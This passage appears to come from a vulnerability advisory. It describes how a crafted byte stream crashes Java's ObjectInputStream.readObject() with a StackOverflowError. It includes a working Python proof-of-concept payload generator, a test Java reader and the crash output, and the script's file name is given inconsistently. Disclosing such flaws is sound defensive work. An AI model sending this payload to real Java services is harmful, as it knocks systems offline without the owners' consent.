7. TECHNICAL DESCRIPTION


An attacker can craft a malicious sequence of bytes that will cause JVM
StackOverflowError in the standard Java deserialization process if it uses
ObjectInputStream.readObject() method.



7.1. Proof of Concept



An attacker creates a malicious sequence of bytes, for example, using this
python script pwn_ser.py:



#!/usr/bin/env python2



import sys



exp = ""

#serialization header

exp += '\xac\xed\x00\x05'



exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'



exp += exp1 * 10000



sys.stdout.write(exp)



and save it in exp2.ser file



$ ./pwn_ser2.py > exp2.ser



Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:



Serialize_read.java



import java.io.FileInputStream;

import java.io.ObjectInputStream;



public class Serialize_read {



public static void main(String args[]) throws Exception {



  if(args.length < 1) {

      System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
[file]");

      System.exit(-1);

  }



  FileInputStream fin = new FileInputStream(args[0]);

  ObjectInputStream oin = new ObjectInputStream(fin);



  try {

    Object objFromDisk = oin.readObject();

    String s = (String)objFromDisk;

    System.out.println(s);

    System.out.println("Successfully read!");

  }catch(Exception e){}

  System.exit(0);



}



}



Let's try to read our malicious file (we can also simulate this stuff over
network communication):



$ javac Serialize_read.java

$ java Serialize_read exp2.ser



It causes the following error dump:



Exception in thread "main" java.lang.StackOverflowError
